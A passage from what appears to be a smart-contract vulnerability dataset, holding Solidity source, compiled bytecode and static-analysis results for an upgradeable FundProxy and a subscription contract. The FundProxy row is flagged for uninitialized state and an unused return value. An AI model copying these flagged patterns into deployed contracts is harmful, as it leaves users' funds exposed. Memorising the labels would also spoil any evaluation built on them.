* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Part: OpenZeppelin/[email protected]/Proxy
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback () external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive () external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {
}
}
// Part: OpenZeppelin/[email protected]/UpgradeableProxy
/**
* @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
* implementation address that can be changed. This address is stored in storage in the location specified by
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the
* implementation behind the proxy.
*
* Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see
* {TransparentUpgradeableProxy}.
*/
contract UpgradeableProxy is Proxy {
/**
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
*
* If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
* function call, and allows initializating the storage of the proxy like a Solidity constructor.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
Address.functionDelegateCall(_logic, _data);
}
}
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function _implementation() internal view virtual override returns (address impl) {
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal virtual {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "UpgradeableProxy: new implementation is not a contract");
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newImplementation)
}
}
}
// File: FundProxy.sol
contract FundProxy is UpgradeableProxy {
bytes internal empty;
constructor(address _implementation)
public
UpgradeableProxy(_implementation, empty)
// solhint-disable-next-line no-empty-blocks
{
}
/**
* The main logic. If the timer has elapsed and there is a schedule upgrade,
* the governance can upgrade the vault
*/
function upgrade(address newImplementation) external {
require(
newImplementation != address(0),
"new fund implementation cannot be empty"
);
// solhint-disable-next-line no-unused-vars
(bool should, address nextImplementation) =
IUpgradeSource(address(this)).shouldUpgrade();
require(should, "Upgrade not scheduled");
require(
nextImplementation == newImplementation,
"NewImplementation is not same"
);
_upgradeTo(newImplementation);
// the finalization needs to be executed on itself to update the storage of this proxy
// it also needs to be invoked by the governance, not by address(this), so delegatecall is needed
// result is unused for now
// solhint-disable-next-line no-unused-vars
(bool success, bytes memory result) =
// solhint-disable-next-line avoid-low-level-calls
address(this).delegatecall(
abi.encodeWithSignature("finalizeUpgrade()")
);
require(success, "Issue when finalizing the upgrade");
}
function implementation() external view returns (address) {
return _implementation();
}
} | 0x60806040526004361061002d5760003560e01c80630900f010146100445780635c60da1b146100775761003c565b3661003c5761003a6100a8565b005b61003a6100a8565b34801561005057600080fd5b5061003a6004803603602081101561006757600080fd5b50356001600160a01b03166100c2565b34801561008357600080fd5b5061008c61033d565b604080516001600160a01b039092168252519081900360200190f35b6100b06100c0565b6100c06100bb61037e565b6103a3565b565b6001600160a01b0381166101075760405162461bcd60e51b81526004018080602001828103825260278152602001806106956027913960400191505060405180910390fd5b600080306001600160a01b0316639d16acfd6040518163ffffffff1660e01b8152600401604080518083038186803b15801561014257600080fd5b505afa158015610156573d6000803e3d6000fd5b505050506040513d604081101561016c57600080fd5b5080516020909101519092509050816101c4576040805162461bcd60e51b8152602060048201526015602482015274155c19dc985919481b9bdd081cd8da19591d5b1959605a1b604482015290519081900360640190fd5b826001600160a01b0316816001600160a01b03161461022a576040805162461bcd60e51b815260206004820152601d60248201527f4e6577496d706c656d656e746174696f6e206973206e6f742073616d65000000604482015290519081900360640190fd5b610233836103c7565b60408051600481526024810182526020810180516001600160e01b0316634d28464760e11b1781529151815160009360609330939092909182918083835b602083106102905780518252601f199092019160209182019101610271565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d80600081146102f0576040519150601f19603f3d011682016040523d82523d6000602084013e6102f5565b606091505b5091509150816103365760405162461bcd60e51b81526004018080602001828103825260218152602001806106176021913960400191505060405180910390fd5b5050505050565b600061034761037e565b905090565b6060610371838360405180606001604052806027815260200161063860279139610407565b9392505050565b3b151590565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e8080156103c2573d6000f35b3d6000fd5b6103d08161050a565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061041284610378565b61044d5760405162461bcd60e51b81526004018080602001828103825260268152602001806106bc6026913960400191505060405180910390fd5b60006060856001600160a01b0316856040518082805190602001908083835b6020831061048b5780518252601f19909201916020918201910161046c565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d80600081146104eb576040519150601f19603f3d011682016040523d82523d6000602084013e6104f0565b606091505b5091509150610500828286610572565b9695505050505050565b61051381610378565b61054e5760405162461bcd60e51b815260040180806020018281038252603681526020018061065f6036913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b60608315610581575081610371565b8251156105915782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156105db5781810151838201526020016105c3565b50505050905090810190601f1680156106085780820380516001836020036101000a031916815260200191505b509250505060405180910390fdfe4973737565207768656e2066696e616c697a696e67207468652075706772616465416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65645570677261646561626c6550726f78793a206e657720696d706c656d656e746174696f6e206973206e6f74206120636f6e74726163746e65772066756e6420696d706c656d656e746174696f6e2063616e6e6f7420626520656d707479416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6e7472616374a2646970667358221220d45d2f4565615b0e68374d70d6012e980682975a66c8af96f8b0d43cb85cd8a964736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 1,113 |
0x575012a8aeda508766034f3e038bad20185fd21d | /**
*Submitted for verification at Etherscan.io on 2021-09-12
*/
pragma solidity ^0.8.0;
// SPDX-License-Identifier: MIT
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
contract TwitterAnalyticsSubscription is Ownable {
uint256 constant private DAY_IN_UNIX = 86400;
bool public saleIsActive = false;
mapping (address => bool) private whitelisted;
mapping (address => uint256) private userToTimeRegistered;
address[] private registeredAddresses;
Subscription[] private subscriptionPlans;
struct Subscription {
bool _enabled;
uint _price;
uint _days;
}
constructor() {
subscriptionPlans.push(Subscription(true, 30000000000000000,14));
subscriptionPlans.push(Subscription(true, 50000000000000000,30));
subscriptionPlans.push(Subscription(true, 500000000000000000,365));
}
function register(uint _id) public payable {
require(msg.value == getPrice(_id), "Incorrect ETH value");
require(saleIsActive, "Sale not active");
require(subscriptionPlans[_id]._days > 0 && subscriptionPlans[_id]._enabled, "Plan does not exist or disabled.");
require(userToTimeRegistered[msg.sender] == 0, "Already registered");
require(whitelisted[msg.sender] == false, "Already whitelisted");
registeredAddresses.push(msg.sender);
userToTimeRegistered[msg.sender] = block.timestamp + (DAY_IN_UNIX * subscriptionPlans[_id]._days);
}
function updateSubscription(uint _id) public payable{
require(msg.value == getPrice(_id), "Incorrect ETH value");
require(subscriptionPlans[_id]._days > 0 && subscriptionPlans[_id]._enabled, "Plan does not exist or disabled.");
uint256 expireTime = userToTimeRegistered[msg.sender];
uint256 timestamp = block.timestamp;
require(saleIsActive || expireTime > timestamp, "Max users reached");
require(expireTime > 1, "User must register first");
if (expireTime < timestamp) {
// Previous subscription has expired
userToTimeRegistered[msg.sender] = timestamp + (DAY_IN_UNIX * subscriptionPlans[_id]._days);
} else {
// Still has an active subscription but wants to add time
userToTimeRegistered[msg.sender] = expireTime + (DAY_IN_UNIX * subscriptionPlans[_id]._days);
}
}
function migrateExistingUsers(address[] memory _addresses, uint256[] memory _timestamps) external onlyOwner {
for (uint i = 0; i < _addresses.length; i++) {
registeredAddresses.push(_addresses[i]);
userToTimeRegistered[_addresses[i]] = _timestamps[i];
}
}
function flipSaleState() external onlyOwner {
saleIsActive = !saleIsActive;
}
function hasAccess(address _address) external view returns (bool) {
return userToTimeRegistered[_address] > block.timestamp ||
whitelisted[_address] == true;
}
function getTimestamp(address _address) external view returns (uint256) {
if (whitelisted[_address] == true) {
return 1;
} else {
return userToTimeRegistered[_address];
}
}
function getActiveSubCount() public view returns(uint) {
uint activeSubCount;
uint256 timestamp = block.timestamp;
for(uint i = 0; i < registeredAddresses.length; i++) {
if (userToTimeRegistered[registeredAddresses[i]] > timestamp) {
activeSubCount++;
}
}
return activeSubCount;
}
function getAllSubscribers() external view returns (address[] memory) {
uint count = getActiveSubCount();
address [] memory activeUsers = new address[](count);
uint x;
uint256 timestamp = block.timestamp;
for(uint i = 0; i < registeredAddresses.length; i++) {
address current = registeredAddresses[i];
if (userToTimeRegistered[current] > timestamp) {
activeUsers[x++] = current;
}
}
return activeUsers;
}
function getWhitelisted() external view returns(address[] memory) {
uint whitelistedCount;
for(uint i = 0; i < registeredAddresses.length; i++) {
if (whitelisted[registeredAddresses[i]] == true) {
whitelistedCount++;
}
}
uint count = whitelistedCount;
address[] memory whitelistedUsers = new address[](count);
uint x;
for (uint i = 0; i < registeredAddresses.length; i++) {
address current = registeredAddresses[i];
if (whitelisted[current] == true) {
whitelistedUsers[x] = current;
x++;
}
}
return whitelistedUsers;
}
function getPrice(uint _id) public view returns(uint256) {
return subscriptionPlans[_id]._price;
}
function addPlan(bool enabled, uint _price, uint _days) external onlyOwner {
subscriptionPlans.push(Subscription(enabled, _price, _days));
}
function flipPlanState(uint _id) external onlyOwner {
subscriptionPlans[_id]._enabled = !subscriptionPlans[_id]._enabled;
}
function getPlan(uint _id) external view returns(Subscription memory){
return subscriptionPlans[_id];
}
function setPrice(uint _planId, uint256 _price) public onlyOwner {
subscriptionPlans[_planId]._price = _price;
}
function setTimestampForAddress(address _address, uint256 _timestamp) external onlyOwner {
if (userToTimeRegistered[_address] == 0) {
registeredAddresses.push(_address);
}
userToTimeRegistered[_address] = _timestamp;
}
function whitelistAddress(address _address) external onlyOwner {
require(whitelisted[_address] == false, "Already whitelisted");
if (userToTimeRegistered[_address] == 0) {
registeredAddresses.push(_address);
}
whitelisted[_address] = true;
}
function removeAddressFromWhitelist(address _address) external onlyOwner {
require(whitelisted[_address] == true, "Not whitelisted");
delete whitelisted[_address];
}
function isRegistered(address _address) public view returns (bool) {
for(uint i = 0; i < registeredAddresses.length; i++) {
if (registeredAddresses[i] == _address ) {
return true;
}
}
return false;
}
function isWhitelisted(address _address) external view returns (bool) {
return whitelisted[_address];
}
function withdraw() public onlyOwner {
uint balance = address(this).balance;
payable(msg.sender).transfer(balance);
}
} | 0x60806040526004361061018b5760003560e01c80638bf57f4e116100d6578063d2528b281161007f578063f207564e11610059578063f207564e14610417578063f2fde38b1461042a578063f7d975771461044a5761018b565b8063d2528b28146103c2578063e7572230146103e2578063eb8d2444146104025761018b565b80639b372b2b116100b05780639b372b2b1461036b578063ac6d0fa41461038d578063c3c5a547146103a25761018b565b80638bf57f4e146103095780638da5cb5b1461032957806395a078e81461034b5761018b565b80633af32abf11610138578063715018a611610112578063715018a6146102bf57806374d38e0f146102d457806381a36eec146102f65761018b565b80633af32abf1461025d5780633ccfd60b1461028a578063415665851461029f5761018b565b806326cd52741161016957806326cd5274146101f2578063286dd3f51461022857806334918dfd146102485761018b565b80630ff48155146101905780631cc1f185146101b25780631eab5983146101d2575b600080fd5b34801561019c57600080fd5b506101b06101ab366004611644565b61046a565b005b3480156101be57600080fd5b506101b06101cd36600461161b565b6105ad565b3480156101de57600080fd5b506101b06101ed36600461173a565b610671565b3480156101fe57600080fd5b5061021261020d36600461173a565b61072d565b60405161021f9190611a27565b60405180910390f35b34801561023457600080fd5b506101b06102433660046115fa565b61079d565b34801561025457600080fd5b506101b061083b565b34801561026957600080fd5b5061027d6102783660046115fa565b6108b6565b60405161021f91906117d4565b34801561029657600080fd5b506101b06108d4565b3480156102ab57600080fd5b506101b06102ba3660046115fa565b610946565b3480156102cb57600080fd5b506101b0610a4e565b3480156102e057600080fd5b506102e9610a99565b60405161021f9190611a4a565b6101b061030436600461173a565b610b22565b34801561031557600080fd5b506102e96103243660046115fa565b610d04565b34801561033557600080fd5b5061033e610d51565b60405161021f9190611773565b34801561035757600080fd5b5061027d6103663660046115fa565b610d60565b34801561037757600080fd5b50610380610daa565b60405161021f9190611787565b34801561039957600080fd5b50610380610f53565b3480156103ae57600080fd5b5061027d6103bd3660046115fa565b611081565b3480156103ce57600080fd5b506101b06103dd366004611702565b6110fa565b3480156103ee57600080fd5b506102e96103fd36600461173a565b6111ec565b34801561040e57600080fd5b5061027d611228565b6101b061042536600461173a565b611238565b34801561043657600080fd5b506101b06104453660046115fa565b611415565b34801561045657600080fd5b506101b0610465366004611752565b611486565b610472611500565b6001600160a01b0316610483610d51565b6001600160a01b0316146104b25760405162461bcd60e51b81526004016104a990611918565b60405180910390fd5b60005b82518110156105a85760038382815181106104e057634e487b7160e01b600052603260045260246000fd5b60209081029190910181015182546001810184556000938452919092200180546001600160a01b0319166001600160a01b03909216919091179055815182908290811061053d57634e487b7160e01b600052603260045260246000fd5b60200260200101516002600085848151811061056957634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000208190555080806105a090611ad8565b9150506104b5565b505050565b6105b5611500565b6001600160a01b03166105c6610d51565b6001600160a01b0316146105ec5760405162461bcd60e51b81526004016104a990611918565b6001600160a01b03821660009081526002602052604090205461065557600380546001810182556000919091527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b0180546001600160a01b0319166001600160a01b0384161790555b6001600160a01b03909116600090815260026020526040902055565b610679611500565b6001600160a01b031661068a610d51565b6001600160a01b0316146106b05760405162461bcd60e51b81526004016104a990611918565b600481815481106106d157634e487b7160e01b600052603260045260246000fd5b60009182526020909120600390910201546004805460ff90921615918390811061070b57634e487b7160e01b600052603260045260246000fd5b60009182526020909120600390910201805460ff191691151591909117905550565b610735611554565b6004828154811061075657634e487b7160e01b600052603260045260246000fd5b6000918252602091829020604080516060810182526003909302909101805460ff16151583526001810154938301939093526002909201549181019190915290505b919050565b6107a5611500565b6001600160a01b03166107b6610d51565b6001600160a01b0316146107dc5760405162461bcd60e51b81526004016104a990611918565b6001600160a01b03811660009081526001602081905260409091205460ff1615151461081a5760405162461bcd60e51b81526004016104a9906118aa565b6001600160a01b03166000908152600160205260409020805460ff19169055565b610843611500565b6001600160a01b0316610854610d51565b6001600160a01b03161461087a5760405162461bcd60e51b81526004016104a990611918565b600080547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff8116600160a01b9182900460ff1615909102179055565b6001600160a01b031660009081526001602052604090205460ff1690565b6108dc611500565b6001600160a01b03166108ed610d51565b6001600160a01b0316146109135760405162461bcd60e51b81526004016104a990611918565b6040514790339082156108fc029083906000818181858888f19350505050158015610942573d6000803e3d6000fd5b5050565b61094e611500565b6001600160a01b031661095f610d51565b6001600160a01b0316146109855760405162461bcd60e51b81526004016104a990611918565b6001600160a01b03811660009081526001602052604090205460ff16156109be5760405162461bcd60e51b81526004016104a99061194d565b6001600160a01b038116600090815260026020526040902054610a2757600380546001810182556000919091527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b0180546001600160a01b0319166001600160a01b0383161790555b6001600160a01b03166000908152600160208190526040909120805460ff19169091179055565b610a56611500565b6001600160a01b0316610a67610d51565b6001600160a01b031614610a8d5760405162461bcd60e51b81526004016104a990611918565b610a976000611504565b565b60008042815b600354811015610b1a57816002600060038481548110610acf57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020541115610b085782610b0481611ad8565b9350505b80610b1281611ad8565b915050610a9f565b509091505090565b610b2b816111ec565b3414610b495760405162461bcd60e51b81526004016104a9906119f0565b600060048281548110610b6c57634e487b7160e01b600052603260045260246000fd5b906000526020600020906003020160020154118015610bbc575060048181548110610ba757634e487b7160e01b600052603260045260246000fd5b600091825260209091206003909102015460ff165b610bd85760405162461bcd60e51b81526004016104a990611984565b3360009081526002602052604081205490544290600160a01b900460ff1680610c0057508082115b610c1c5760405162461bcd60e51b81526004016104a9906118e1565b60018211610c3c5760405162461bcd60e51b81526004016104a9906119b9565b80821015610ca45760048381548110610c6557634e487b7160e01b600052603260045260246000fd5b90600052602060002090600302016002015462015180610c859190611ab9565b610c8f9082611aa1565b336000908152600260205260409020556105a8565b60048381548110610cc557634e487b7160e01b600052603260045260246000fd5b90600052602060002090600302016002015462015180610ce59190611ab9565b610cef9083611aa1565b33600090815260026020526040902055505050565b6001600160a01b038116600090815260016020819052604082205460ff1615151415610d3257506001610798565b506001600160a01b038116600090815260026020526040902054610798565b6000546001600160a01b031690565b6001600160a01b038116600090815260026020526040812054421080610da457506001600160a01b03821660009081526001602081905260409091205460ff161515145b92915050565b60606000805b600354811015610e31576001600060038381548110610ddf57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b0316835282019290925260400190205460ff16151560011415610e1f5781610e1b81611ad8565b9250505b80610e2981611ad8565b915050610db0565b508060008167ffffffffffffffff811115610e5c57634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015610e85578160200160208202803683370190505b5090506000805b600354811015610f4957600060038281548110610eb957634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031680835260019182905260409092205491925060ff90911615151415610f365780848481518110610f1057634e487b7160e01b600052603260045260246000fd5b6001600160a01b039092166020928302919091019091015282610f3281611ad8565b9350505b5080610f4181611ad8565b915050610e8c565b5090935050505090565b60606000610f5f610a99565b905060008167ffffffffffffffff811115610f8a57634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015610fb3578160200160208202803683370190505b509050600042815b60035481101561107757600060038281548110610fe857634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031680835260029091526040909120549091508310156110645780858561102381611ad8565b96508151811061104357634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b0316815250505b508061106f81611ad8565b915050610fbb565b5091935050505090565b6000805b6003548110156110f157826001600160a01b0316600382815481106110ba57634e487b7160e01b6000526032600452